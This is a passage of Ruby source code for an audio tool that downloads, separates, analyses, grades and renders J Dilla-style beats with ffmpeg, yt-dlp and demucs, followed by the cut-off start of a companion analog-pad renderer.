def livestream(input = nil, output = nil)
  input ||= prompt("livestream URL")
  output ||= File.join(SAMPLE_DIR, "livestream.wav")
  seconds_to_capture = (ENV["LIVE_SECONDS"] || 600).to_i
  abort "yt-dlp required" unless tool_available?("yt-dlp")
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  media_url = direct_media_url(input)
  FileUtils.mkdir_p(File.dirname(output))
  sh! "ffmpeg", "-y", "-t", seconds_to_capture.to_s, "-i", media_url, "-ac", "2", "-ar", SAMPLE_RATE.to_s, "-c:a", "pcm_s16le", output
  puts "wrote #{output}"
  output
end

def sample
  path = source(nil, File.join(SAMPLE_DIR, "source.wav"))
  separated = separate(path)
  harmonic = separated.fetch("other")
  clean(harmonic, SAMPLE_CLEAN)
end

def separate(input = nil)
  input ||= prompt("audio path or URL")
  wav = File.exist?(input) ? input : source(input, File.join(SAMPLE_DIR, "source.wav"))
  abort "demucs required" unless tool_available?("demucs")
  FileUtils.mkdir_p(STEM_DIR)
  sh! "demucs", "-n", "htdemucs_ft", "-o", STEM_DIR, wav
  map = latest_stems
  puts JSON.pretty_generate(map)
  map
end

def latest_stems
  files = Dir[File.join(STEM_DIR, "**", "*.wav")]
  abort "no stems found" if files.empty?
  newest_directory = files.group_by { |path| File.dirname(path) }.max_by { |_directory, paths| paths.map { |path| File.mtime(path) }.max }.first
  stem_paths(Dir[File.join(newest_directory, "*.wav")])
end

def download_track(url, output)
  abort "yt-dlp required" unless tool_available?("yt-dlp")
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  temporary = File.join(SAMPLE_DIR, "download.%(ext)s")
  sh! "yt-dlp", "-f", "bestaudio", "--extract-audio", "--audio-format", "wav", url, "-o", temporary
  downloaded = Dir[File.join(SAMPLE_DIR, "download.wav")].max_by { |path| File.mtime(path) }
  abort "download produced no wav" unless downloaded
  FileUtils.mv(downloaded, output)
  puts "wrote #{output}"
  output
end

def direct_media_url(url)
  output, error, status = capture("yt-dlp", "-g", "-f", "bestaudio", url)
  abort error unless status.success?
  media_url = output.lines.first&.strip
  abort "yt-dlp returned no media URL" if media_url.nil? || media_url.empty?
  media_url
end

def convert_audio(input, output)
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  sh! "ffmpeg", "-y", "-i", input, "-ac", "2", "-ar", SAMPLE_RATE.to_s, "-c:a", "pcm_s16le", output
  puts "wrote #{output}"
  output
end

def render(destination = File.join(ROOT, "full_track.mp3"))
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  FileUtils.mkdir_p(File.dirname(destination))
  duration = render_seconds
  kick_period = (beat_seconds * 2.0).round(6)
  command = ["ffmpeg", "-y"]
  command += ["-f", "lavfi", "-i", "aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}"]
  command += ["-f", "lavfi", "-i", "aevalsrc='0.16*sin(2*PI*49*t)*exp(-mod(t,#{beat_seconds.round(6)})*3.1)':d=#{duration}:s=#{SAMPLE_RATE}"]
  command += ["-f", "lavfi", "-i", "aevalsrc='0.58*sin(2*PI*(45+90*exp(-mod(t,#{kick_period})*18))*t)*exp(-mod(t,#{kick_period})*9)':d=#{duration}:s=#{SAMPLE_RATE}"]
  command += ["-f", "lavfi", "-i", "aevalsrc='0.13*(random(0)-0.5)*lt(mod(t+#{beat_seconds.round(6)},#{kick_period}),0.08)*exp(-mod(t+#{beat_seconds.round(6)},#{kick_period})*28)':d=#{duration}:s=#{SAMPLE_RATE}"]
  command += ["-f", "lavfi", "-i", "aevalsrc='0.035*(random(0)-0.5)*lt(mod(t,#{(beat_seconds / 2.0).round(6)}),0.035)*exp(-mod(t,#{(beat_seconds / 2.0).round(6)})*80)':d=#{duration}:s=#{SAMPLE_RATE}"]
  sample_input = nil
  if File.exist?(SAMPLE_CLEAN)
    sample_input = 5
    command += ["-stream_loop", "-1", "-i", SAMPLE_CLEAN]
  end
  command += ["-filter_complex", render_filter(duration, sample_input), "-map", "[out]", "-t", duration.to_s, *codec_for(destination), destination]
  sh!(*command)
  puts "wrote #{destination}"
end

def render_filter(duration, sample_input)
  filter = []
  filter << "[0:a]aformat=channel_layouts=stereo,lowpass=f=3300,adelay=7|13[ep]"
  filter << "[1:a]aformat=channel_layouts=stereo,lowpass=f=160[bass]"
  filter << "[2:a]aformat=channel_layouts=stereo,lowpass=f=140[kick]"
  filter << "[3:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=5000[snare]"
  filter << "[4:a]aformat=channel_layouts=stereo,highpass=f=6500[hats]"
  labels = %w[[ep] [bass] [kick] [snare] [hats]]
  weights = %w[1.00 0.80 0.72 0.55 0.24]
  if sample_input
    filter << "[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS,highpass=f=70,lowpass=f=12000[sample]"
    labels << "[sample]"
    weights << "0.85"
  end
  filter << "#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first,acompressor=threshold=-18dB:ratio=2.4:attack=24:release=130,acrusher=bits=13:samples=2:mix=0.12,alimiter=limit=0.94:level_out=0.96[out]"
  filter.join(";")
end

def codec_for(destination)
  return ["-codec:a", "libmp3lame", "-b:a", "320k"] if File.extname(destination).downcase == ".mp3"
  ["-c:a", "pcm_s16le"]
end

def verify(path = File.join(ROOT, "full_track.mp3"))
  abort "missing #{path}" unless File.exist?(path)
  output, error, status = capture("ffmpeg", "-hide_banner", "-i", path, "-af", "volumedetect", "-f", "null", "-")
  text = output + error
  puts text.lines.grep(/Duration|bitrate|mean_volume|max_volume/).join
  abort "verify failed" unless status.success? && text.include?("mean_volume:")
end

def clean(input, output)
  abort "missing input" unless input && File.exist?(input)
  FileUtils.mkdir_p(File.dirname(output))
  sh! "ffmpeg", "-y", "-i", input, "-af", "highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10", "-c:a", "pcm_s16le", output
  puts "wrote #{output}"
end

def stems(root = File.join(ROOT, "samples/demucs"), manifest = File.join(ROOT, "samples/manifest.json"))
  sets = Dir.glob(File.join(root, "**", "*.{wav,mp3,flac,ogg,m4a}"), File::FNM_EXTGLOB).group_by { |path| File.dirname(path) }.map do |directory, files|
    { "name" => File.basename(directory), "bpm" => bpm, "stems" => stem_paths(files) }
  end
  FileUtils.mkdir_p(File.dirname(manifest))
  File.write(manifest, JSON.pretty_generate({ "version" => 6, "sets" => sets }) + "\n")
  puts "wrote #{manifest}"
end

def stem_paths(files)
  files.each_with_object({}) { |path, map| map[stem_key(path)] = path.sub(ROOT + "/", "") }
end

def stem_key(path)
  basename = File.basename(path).downcase
  return "drums" if basename.include?("drums")
  return "bass" if basename.include?("bass")
  return "vocals" if basename.include?("vocals")
  return "other" if basename.include?("other")
  File.basename(path, ".*")
end

def chords
  PAD_CHORDS.each_with_index { |chord, number| puts "%02d %s %s" % [number + 1, chord[:name], chord[:hz].map { |frequency| frequency.round(2) }.join(" ")] }
end

def study(kind, input = nil)
  input ||= prompt("audio path")
  abort "missing #{input}" unless File.exist?(input)
  return rhythm(input) if kind == "rhythm"
  return melody(input) if kind == "melody"
  return harmony(input) if kind == "harmony"
  return semantics(input) if kind == "semantics"
  abort "study kind must be rhythm, melody, harmony, or semantics"
end

def rhythm(input = nil)
  input ||= prompt("drum or full audio path")
  data = frame_energy(input, highpass: 90, lowpass: 8_000)
  peaks = peak_frames(data.fetch(:frames), data.fetch(:hop_seconds))
  puts JSON.pretty_generate(type: "rhythm", path: input, duration_seconds: data.fetch(:duration_seconds), peaks: peaks.first(128))
end

def melody(input = nil)
  input ||= prompt("melodic stem path")
  data = spectral_windows(input)
  puts JSON.pretty_generate(type: "melody", path: input, duration_seconds: data.fetch(:duration_seconds), windows: data.fetch(:windows).first(128))
end

def harmony(input = nil)
  input ||= prompt("harmonic stem path")
  profile = pitch_profile(input)
  ranking = chord_candidates(profile.fetch(:pitch_classes)).first(16)
  puts JSON.pretty_generate(type: "harmony", path: input, duration_seconds: profile.fetch(:duration_seconds), pitch_classes: profile.fetch(:pitch_classes), chords: ranking)
end

def semantics(input = nil)
  input ||= prompt("audio path")
  rhythm_data = frame_energy(input, highpass: 60, lowpass: 12_000)
  loudness = rhythm_data.fetch(:frames).map(&:last)
  brightness = frame_energy(input, highpass: 2_400, lowpass: 12_000).fetch(:frames).map(&:last)
  density = peak_frames(rhythm_data.fetch(:frames), rhythm_data.fetch(:hop_seconds)).length.to_f / [rhythm_data.fetch(:duration_seconds), 1.0].max
  puts JSON.pretty_generate(type: "semantics", path: input, duration_seconds: rhythm_data.fetch(:duration_seconds), tags: semantic_tags(loudness, brightness, density))
end

def ears(path = File.join(ROOT, "full_track.mp3"))
  abort "missing #{path}" unless File.exist?(path)
  report = media_metadata(path).merge(volume_metadata(path)).merge(path: path)
  report[:verdict] = ears_verdict(report)
  puts JSON.pretty_generate(report)
end

def frame_energy(path, highpass:, lowpass:)
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  raw = pipe_floats(path, "highpass=f=#{highpass},lowpass=f=#{lowpass},aformat=sample_fmts=flt:channel_layouts=mono")
  hop = 2_048
  frames = raw.each_slice(hop).with_index.map do |slice, index|
    next if slice.empty?
    [index * hop.to_f / SAMPLE_RATE, Math.sqrt(slice.sum { |value| value * value } / slice.length)]
  end.compact
  { frames: frames, hop_seconds: hop.to_f / SAMPLE_RATE, duration_seconds: raw.length.to_f / SAMPLE_RATE }
end

def spectral_windows(path)
  raw = pipe_floats(path, "highpass=f=90,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono")
  window = 4_096
  windows = raw.each_slice(window).with_index.map do |slice, index|
    next if slice.length < window
    zero_crossings = slice.each_cons(2).count { |left, right| (left.negative? && right.positive?) || (left.positive? && right.negative?) }
    estimated_hz = zero_crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)
    [index * window.to_f / SAMPLE_RATE, estimated_hz.round(2), nearest_note(estimated_hz)]
  end.compact
  { duration_seconds: raw.length.to_f / SAMPLE_RATE, windows: windows }
end

def pitch_profile(path)
  raw = pipe_floats(path, "highpass=f=65,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono")
  window = 2_048
  bins = Array.new(12, 0.0)
  raw.each_slice(window) do |slice|
    next if slice.length < window
    estimate = zero_crossing_hz(slice)
    next if estimate < 40.0 || estimate > 5_000.0
    bins[pitch_class_for(estimate)] += slice.sum { |value| value.abs } / slice.length
  end
  total = bins.sum
  normalized = total.positive? ? bins.map { |value| (value / total).round(5) } : bins
  { duration_seconds: raw.length.to_f / SAMPLE_RATE, pitch_classes: PITCH_CLASSES.zip(normalized).to_h }
end

def chord_candidates(pitch_classes)
  values = PITCH_CLASSES.map { |name| pitch_classes.fetch(name, 0.0) }
  candidates = []
  PITCH_CLASSES.each_with_index do |root_name, root_index|
    CHORD_TEMPLATES.each do |suffix, intervals|
      score = intervals.sum { |interval| values[(root_index + interval) % 12] }
      candidates << { chord: "#{root_name}#{suffix}", score: score.round(5) }
    end
  end
  candidates.sort_by { |candidate| -candidate.fetch(:score) }
end

def zero_crossing_hz(slice)
  crossings = slice.each_cons(2).count { |left, right| (left.negative? && right.positive?) || (left.positive? && right.negative?) }
  crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)
end

def pitch_class_for(frequency)
  (69 + (12 * Math.log2(frequency / 440.0))).round % 12
end

def semantic_tags(loudness, brightness, density)
  mean_loudness = average(loudness)
  mean_brightness = average(brightness)
  tags = []
  tags << (density > 2.5 ? "dense" : "spacious")
  tags << (mean_brightness > mean_loudness * 0.45 ? "bright" : "warm")
  tags << (standard_deviation(loudness) > mean_loudness * 0.8 ? "unstable" : "steady")
  tags << (mean_loudness < 0.03 ? "intimate" : "forward")
  tags
end

def pipe_floats(path, filter)
  output, error, status = capture("ffmpeg", "-v", "error", "-i", path, "-af", filter, "-f", "f32le", "-")
  abort error unless status.success?
  output.unpack("e*")
end

def peak_frames(frames, hop_seconds)
  return [] if frames.empty?
  values = frames.map(&:last)
  threshold = average(values) + standard_deviation(values)
  frames.each_cons(3).filter_map do |left, middle, right|
    next unless middle.last > threshold && middle.last > left.last && middle.last > right.last
    { time: middle.first.round(3), strength: middle.last.round(5), grid: (middle.first / hop_seconds).round }
  end
end

def average(values)
  return 0.0 if values.empty?
  values.sum / values.length
end

def standard_deviation(values)
  mean = average(values)
  Math.sqrt(values.sum { |value| (value - mean) * (value - mean) } / [values.length, 1].max)
end

def nearest_note(frequency)
  return nil if frequency <= 0
  midi = (69 + (12 * Math.log2(frequency / 440.0))).round
  "#{PITCH_CLASSES[midi % 12]}#{(midi / 12) - 1}"
end

def media_metadata(path)
  output, error, status = capture("ffprobe", "-v", "error", "-show_entries", "format=duration,bit_rate", "-of", "json", path)
  abort error unless status.success?
  format = JSON.parse(output).fetch("format", {})
  { duration_seconds: format.fetch("duration", "0").to_f.round(3), bit_rate: format.fetch("bit_rate", "0").to_i }
rescue JSON::ParserError => error
  abort "ffprobe json parse failed: #{error.message}"
end

def volume_metadata(path)
  output, error, status = capture("ffmpeg", "-hide_banner", "-i", path, "-af", "volumedetect", "-f", "null", "-")
  abort error unless status.success?
  text = output + error
  { mean_volume_db: number_after(text, "mean_volume:"), max_volume_db: number_after(text, "max_volume:") }
end

def number_after(text, label)
  line = text.lines.find { |entry| entry.include?(label) }
  line ? line.split(label, 2).last.to_f : nil
end

def ears_verdict(report)
  return "too_short" if report[:duration_seconds] < 20.0
  return "too_quiet" if report[:mean_volume_db] && report[:mean_volume_db] < -28.0
  return "clips" if report[:max_volume_db] && report[:max_volume_db] > -0.2
  "usable"
end

def debug
  scan
  _output, error, status = capture("ruby", "-c", __FILE__)
  puts(status.success? ? "ruby syntax: ok" : error)
end

def sweep
  output = File.join(ROOT, "sweep_check.mp3")
  previous = ENV["BARS"]
  ENV["BARS"] = "8"
  render(output)
  verify(output)
  ears(output) if tool_available?("ffprobe")
ensure
  previous ? ENV["BARS"] = previous : ENV.delete("BARS")
end

# --- Analog grade engine ---

# Build an ffmpeg filter fragment for one grade effect using stock params.
# Each filter maps to a postpro analog concept (see GRADE_PRESETS comment).
def grade_filter(fx, stock)
  case fx
  when "tape_saturation"
    # H&D characteristic curve analog: tanh waveshaper, gain-neutral.
    d = stock[:sat_drive]
    n = Math.tanh(d).round(6)
    "aeval=exprs='tanh(#{d}*val(0))/#{n}:tanh(#{d}*val(1))/#{n}'"
  when "analog_noise"
    # Newson-Delon grain analog: flat Gaussian noise floor at stock amplitude.
    a = stock[:noise_amp]
    "aeval=exprs='val(0)+#{a}*(random(0)-0.5):val(1)+#{a}*(random(1)-0.5)'"
  when "harmonic_bloom"
    # Halation analog: even-harmonic enrichment (tube/transformer bloom).
    # x|x| adds 2nd+3rd order harmonics without DC offset.
    "aeval=exprs='val(0)+0.07*val(0)*abs(val(0)):val(1)+0.07*val(1)*abs(val(1))'"
  when "spectral_warmth"
    # Color temperature analog: low-shelf boost + high-shelf cut.
    db  = stock[:warmth_db].round(1)
    cut = (db * 0.65).round(1)
    "equalizer=f=90:width_type=o:width=2:g=#{db},equalizer=f=9500:width_type=o:width=2:g=-#{cut}"
  when "parallel_compress"
    # Bleach bypass analog: New York parallel compression.
    "acompressor=threshold=-22dB:ratio=7:attack=6:release=55:makeup=3:mix=0.45"
  when "multiband_tone"
    # Split grade analog: three-band independent tonal shaping.
    "equalizer=f=110:width_type=o:width=2:g=1.8,equalizer=f=900:width_type=o:width=2:g=0.5,equalizer=f=7000:width_type=o:width=2:g=-1.2"
  when "wow_flutter"
    # Reciprocity failure analog: capstan speed LFO (wow=slow, flutter=fast).
    r = stock[:wow_rate]
    d = stock[:wow_depth]
    "vibrato=f=#{r}:d=#{d}"
  when "vinyl_crackle"
    # Faded print analog: stochastic crackle bursts at ~0.08% of samples.
    "aeval=exprs='val(0)+(random(0)<8e-4?(random(1)-0.5)*0.22:0):val(1)+(random(2)<8e-4?(random(3)-0.5)*0.22:0)'"
  when "transient_sharpen"
    # Micro-contrast analog: presence boost via high-mid shelf.
    "equalizer=f=4000:width_type=o:width=1.5:g=2.0"
  when "stereo_width"
    # Chromatic aberration analog: M/S stereo widening.
    "extrastereo=m=1.35"
  end
end

def grade(input = nil, output = nil, preset_name = nil)
  input       ||= prompt("audio path")
  preset_name ||= prompt("preset (#{GRADE_PRESETS.keys.join(', ')})")
  output      ||= input.sub(/(\.\w+)\z/, "_#{preset_name}\\1")
  abort "missing #{input}" unless File.exist?(input)
  p = GRADE_PRESETS[preset_name.to_sym] or abort "unknown preset: #{preset_name}. valid: #{GRADE_PRESETS.keys.join(', ')}"
  stock   = AUDIO_STOCKS[p[:stock]]
  filters = p[:fx].filter_map { |fx| grade_filter(fx, stock) }
  abort "no filters for preset #{preset_name}" if filters.empty?
  chain = [filters, "lowpass=f=#{stock[:rolloff_hz]}"].flatten.join(",")
  sh! "ffmpeg", "-y", "-i", input, "-af", chain, "-c:a", "pcm_s16le", output
  puts "wrote #{output}"
end

def grade_list
  GRADE_PRESETS.each do |name, p|
    stock = p[:stock]
    puts "#{name}: #{p[:fx].join(' → ')} [#{stock}]"
  end
end

# --- Live playback ---

# Render a short preview and play it immediately via ffplay.
def play(preset_name = nil, bars_count = 8)
  abort "ffplay required" unless tool_available?("ffplay")
  preset_name ||= "dilla"
  tmp = File.join(ROOT, ".play_tmp.mp3")
  prev = ENV["BARS"]
  ENV["BARS"] = bars_count.to_s
  if preset_name == "dilla"
    render_dilla(tmp)
  else
    render(tmp)
  end
  sh! "ffplay", "-nodisp", "-autoexit", tmp
ensure
  prev ? ENV["BARS"] = prev : ENV.delete("BARS")
  FileUtils.rm_f(tmp)
end

# Stream audio live from ffplay without writing a file — generative beat.
def live(bars_count = 32)
  abort "ffplay required" unless tool_available?("ffplay")
  duration = (beat_seconds * 4.0 * bars_count).round(3)
  drunk    = drunk_offsets(4 * bars_count)
  expr     = chord_expression
  kick_p   = (beat_seconds * 2.0).round(6)
  # Build the same filter as render but pipe direct to ffplay
  tmp = File.join(ROOT, ".live_tmp.wav")
  render_dilla(tmp, bars_count)
  puts "streaming #{bars_count} bars... Ctrl-C to stop"
  exec "ffplay", "-nodisp", "-loop", "0", tmp
rescue SystemCallError => e
  abort "ffplay failed: #{e.message}"
end

# Instantly play a modulating bass tone — good for local audio system check.
def bass(root_hz = 55.0)
  abort "ffplay required" unless tool_available?("ffplay")
  # Warbling sub bass: fundamental + slow pitch LFO + low harmonic content.
  # Models J Dilla's low-end: not a clean sine, has movement and weight.
  lfo_hz   = 0.18
  lfo_amt  = root_hz * 0.04
  expr_l   = "0.45*sin(2*PI*(#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_hz}*t))*t)" \
             "+0.08*sin(2*PI*#{(root_hz * 2).round(2)}*t)" \
             "+0.03*sin(2*PI*#{(root_hz * 3).round(2)}*t)"
  filter   = "aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200"
  puts "playing bass #{root_hz}Hz (Ctrl-C to stop)"
  exec "ffplay", "-f", "lavfi", "-i", "aevalsrc=0", "-nodisp",
       "-af", "aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200"
rescue SystemCallError => e
  abort "ffplay failed: #{e.message}"
end

# --- J Dilla style beat engine ---

# Drunk quantization: return an array of per-beat timing offsets in seconds.
# Dilla's signature feel — hits land slightly before or after the grid,
# never random but never locked, like a human with perfect rhythm who chose not to use it.
def drunk_offsets(n)
  n.times.map { (rand * 2 - 1) * DRUNK_MAX_MS / 1000.0 }
end

# Build kick expression with drunk timing: each kick is offset from the grid.
def dilla_kick_expr(duration, drunk)
  beat_p = beat_seconds * 2.0
  # Kicks on beats 1 and 3, offset by drunk timing
  kicks  = drunk.each_slice(4).flat_map do |slice|
    [ 0.0 + slice[0].to_f,
      beat_seconds * 2.0 + slice[2].to_f ]
  end.uniq
  parts = kicks.first(64).map do |offset|
    t_mod = "mod(t-#{offset.round(6)},#{(beat_seconds * 4.0).round(6)})"
    "0.72*sin(2*PI*(46+88*exp(-#{t_mod.inspect}*20))*#{t_mod.inspect})*exp(-#{t_mod.inspect}*10)"
  end
  "(#{parts.join('+')})"
rescue StandardError
  "0.72*sin(2*PI*(46+88*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*18))*t)*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*9)"
end

# Snare on 2 and 4 with drunk timing + ghost notes at 1/8th positions.
def dilla_snare_expr(duration, drunk)
  beat2  = beat_seconds + (drunk[1] || 0.0)
  beat4  = beat_seconds * 3.0 + (drunk[3] || 0.0)
  bar    = beat_seconds * 4.0
  ghosts = [beat_seconds * 0.5, beat_seconds * 1.5, beat_seconds * 2.5, beat_seconds * 3.5].map do |pos|
    t_mod = "mod(t-#{pos.round(4)},#{bar.round(6)})"
    "0.05*(random(0)-0.5)*lt(#{t_mod},0.04)*exp(-#{t_mod}*50)"
  end
  main = [beat2, beat4].map do |pos|
    t_mod = "mod(t-#{pos.round(4)},#{bar.round(6)})"
    "0.52*(random(1)-0.5)*lt(#{t_mod},0.06)*exp(-#{t_mod}*28)"
  end
  "(#{(main + ghosts).join('+').gsub(/"/, '')})"
end

# Warbling Dilla bass: frequency modulated by an LFO for that loose,
# slightly sharp-flat feel. Octave sub below + harmonic above.
def dilla_bass_expr(root_hz = 43.0)
  lfo_rate = 0.12
  lfo_amt  = root_hz * 0.03
  fund     = "#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_rate}*t)"
  "0.60*sin(2*PI*(#{fund})*t)+0.10*sin(2*PI*2*(#{fund})*t)"
end

# Full Dilla-style render: drunk drums, warbling bass, pad chords, soul sample.
def render_dilla(destination = File.join(ROOT, "dilla_beat.mp3"), bars_count = nil)
  abort "ffmpeg required" unless tool_available?("ffmpeg")
  FileUtils.mkdir_p(File.dirname(destination))
  n_bars   = bars_count || bars
  duration = (beat_seconds * 4.0 * n_bars).round(3)
  drunk    = drunk_offsets(n_bars * 4)

  kick_expr  = dilla_kick_expr(duration, drunk)
  snare_expr = dilla_snare_expr(duration, drunk)
  bass_expr  = dilla_bass_expr
  hat_off    = (drunk[0] || 0.0) * 0.5
  hat_p      = (beat_seconds / 2.0).round(6)
  hat_expr   = "0.11*(random(0)-0.5)*lt(mod(t+#{hat_off.abs.round(4)},#{hat_p}),0.025)*exp(-mod(t,#{hat_p})*90)"

  command = ["ffmpeg", "-y",
             "-f", "lavfi", "-i", "aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}",
             "-f", "lavfi", "-i", "aevalsrc='#{bass_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
             "-f", "lavfi", "-i", "aevalsrc='#{kick_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
             "-f", "lavfi", "-i", "aevalsrc='#{snare_expr}':d=#{duration}:s=#{SAMPLE_RATE}",
             "-f", "lavfi", "-i", "aevalsrc='#{hat_expr}':d=#{duration}:s=#{SAMPLE_RATE}"]

  sample_input = nil
  if File.exist?(SAMPLE_CLEAN)
    sample_input = 5
    command += ["-stream_loop", "-1", "-i", SAMPLE_CLEAN]
  end

  labels  = %w[[pads] [bass] [kick] [snare] [hats]]
  weights = %w[0.85 0.90 0.82 0.58 0.20]
  filter  = []
  filter << "[0:a]aformat=channel_layouts=stereo,lowpass=f=4000,adelay=5|11[pads]"
  filter << "[1:a]aformat=channel_layouts=stereo,lowpass=f=180,equalizer=f=80:width_type=o:width=2:g=4[bass]"
  filter << "[2:a]aformat=channel_layouts=stereo,lowpass=f=160[kick]"
  filter << "[3:a]aformat=channel_layouts=stereo,highpass=f=200,lowpass=f=6000[snare]"
  filter << "[4:a]aformat=channel_layouts=stereo,highpass=f=7000[hats]"

  if sample_input
    filter << "[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS," \
              "highpass=f=80,lowpass=f=14000,acrusher=bits=12:samples=2:mix=0.25[sample]"
    labels  << "[sample]"
    weights << "0.78"
  end

  mix_chain = "#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first," \
              "aeval=exprs='tanh(1.6*val(0))/#{Math.tanh(1.6).round(6)}:tanh(1.6*val(1))/#{Math.tanh(1.6).round(6)}'," \
              "acompressor=threshold=-18dB:ratio=2.5:attack=20:release=120," \
              "acrusher=bits=12:samples=2:mix=0.15," \
              "alimiter=limit=0.93:level_out=0.95[out]"
  filter << mix_chain

  command += ["-filter_complex", filter.join(";"), "-map", "[out]", "-t", duration.to_s, *codec_for(destination), destination]
  sh!(*command)
  puts "wrote #{destination}"
end

case ARGV.shift
when "scan" then scan
when "sweep" then sweep
when "council" then council
when "debug" then debug
when "sample" then sample
when "source" then source(ARGV.shift, ARGV.shift)
when "livestream" then livestream(ARGV.shift, ARGV.shift)
when "separate" then separate(ARGV.shift)
when "render", nil then render(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "verify" then verify(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "chords" then chords
when "clean" then clean(ARGV.shift, ARGV.shift || File.join(ROOT, "clean.wav"))
when "stems" then stems(ARGV.shift || File.join(ROOT, "samples/demucs"), ARGV.shift || File.join(ROOT, "samples/manifest.json"))
when "study" then study(ARGV.shift, ARGV.shift)
when "rhythm" then rhythm(ARGV.shift)
when "melody" then melody(ARGV.shift)
when "harmony" then harmony(ARGV.shift)
when "semantics" then semantics(ARGV.shift)
when "ears"       then ears(ARGV.shift || File.join(ROOT, "full_track.mp3"))
when "play"       then play(ARGV.shift, (ARGV.shift || 8).to_i)
when "live"       then live((ARGV.shift || 32).to_i)
when "bass"       then bass((ARGV.shift || 55.0).to_f)
when "grade"      then grade(ARGV.shift, ARGV.shift, ARGV.shift)
when "grade_list" then grade_list
when "dilla"      then render_dilla(ARGV.shift || File.join(ROOT, "dilla_beat.mp3"))
else
  puts "commands: #{COMMANDS.join(' | ')}"
end

dilla/dilla_analog.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
# dilla_analog.rb
# Full analog-pad restoration renderer for Dilla/Madlib/FlyLo-inspired music.
# Original synthesis only: no copyrighted sample downloading.
#
# Usage:
#   ruby dilla/dilla_analog.rb render dilla/analog_full.mp3
#   ruby dilla/dilla_analog.rb liveset dilla/analog_liveset.mp3 12
#   ruby dilla/dilla_analog.rb chords
#   ruby dilla/dilla_analog.rb clean input.wav output.wav
#   ruby dilla/dilla_analog.rb stems dilla/samples/demucs dilla/samples/manifest.json

require "json"
require "fileutils"

DIR = File.expand_path(__dir__)
BPM = (ENV["BPM"] || 86).to_f
BARS = (ENV["BARS"] || 96).to_i
SR = 44_100

# 13 restored Dilla-ish progressions: dark 9ths, maj9s, suspended clusters, altered color.
PAD_CHORDS = [
  { name: "Fm9",      hz: [174.61, 207.65, 261.63, 311.13, 392.00] },
  { name: "Dbmaj9",   hz: [138.59, 174.61, 207.65, 261.63, 311.13] },
  { name: "Cm9",      hz: [130.81, 155.56, 196.00, 233.08, 293.66] },
  { name: "Ebmaj9",   hz: [155.56, 196.00, 233.08, 293.66, 349.23] },
  { name: "Abmaj9",   hz: [207.65, 261.63, 311.13, 392.00, 466.16] },
  { name: "Dm9",      hz: [146.83, 174.61, 220.00, 261.63, 329.63] },
  { name: "Gm9",      hz: [196.00, 233.08, 293.66, 349.23, 440.00] },
  { name: "Bm7b5+9",  hz: [123.47, 146.83, 174.61, 220.00, 261.63] },
  { name: "E altered",hz: [164.81, 196.00, 233.08, 293.66, 349.23] },
  { name: "Am9",      hz: [110.00, 130.81, 164.81, 196.00, 246.94] },
  { name: "Bbm9",     hz: [116.54, 138.59, 174.61, 207.65, 261.63] },
  { name: "Gbmaj9",   hz: [92.50, 116.54, 138.59, 174.61, 207.65] },
  { name: "C cluster", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }
].freeze

ROOTS = [43.65, 49.00, 51.91, 38.89, 46.25].freeze
PRIMES = [97, 109, 127, 149, 167, 191, 223, 251].freeze

# Analog authenticity controls.
ANALOG = {
  osc_layers: 5,
  drift_cents: 7.0,
  bad_tune_spike_cents: 16.0,
  lowpass_hz: 2600,
  sp_bits: 12,
  sp_ratio: 44_100.0 / 26_040.0,
  tape_dc: 0.05,
  chorus_delay_l_ms: 9,
  chorus_delay_r_ms: 13,
  vinyl_level: 0.14,
  pad_sidechain_hint: 0.72
}.freeze

def sh!(*cmd)
  puts ">>> #{cmd.flatten.join(' ')}"
  abort "failed" unless system(*cmd.flatten.map(&:to_s))
end

def lavfi(src) = ["-f", "lavfi", "-i", src]
def expr(parts) = parts.empty? ? "0" : parts.join("+")

def section_for_bar(b, total)
  return [:intro, 0.42] if b < 8
  return [:a, 1.00] if b < 24
  return [:a2, 1.00] if b < 40
  return [:break, 0.55] if b < 48
  return [:b, 1.00] if b < 64
  return [:drop, 0.72] if b < 72
  return [:c, 1.00] if b < 88
  [:outro, [0.25, 1.0 - ((b - 88) / [12.0, total - 88.0].max)].max]
end

def rotate_chord(chord, bars)
  hz = chord[:hz].rotate((bars / 8) % chord[:hz].length)
  # Probabilistic tension note restoration: b9/#11/13-like color via ratio offsets.
  extra = case bars % 12
          when 0 then hz[0] * 1.067
          when 4 then hz[2] * 1.414
          when 8 then hz[3] * 1.122
          else nil
          end
  extra ? (hz + [extra]) : hz
end

def schedule(bars)
  beat = 60.0 / BPM
  bar = beat * 4
  step = bar / 16
  events = Hash.new { |h, k| h[k] = [] }
  kick_patterns = [[0,7,10,14], [0,5,7,10,14], [0,3,7,10,12,14], [0,6,9,14]]

  bars.times do |b|
    sec, den = section_for_bar(b, bars)
    base = b * bar
    kp = kick_patterns[(b / 8 + b % 3) % kick_patterns.length].dup
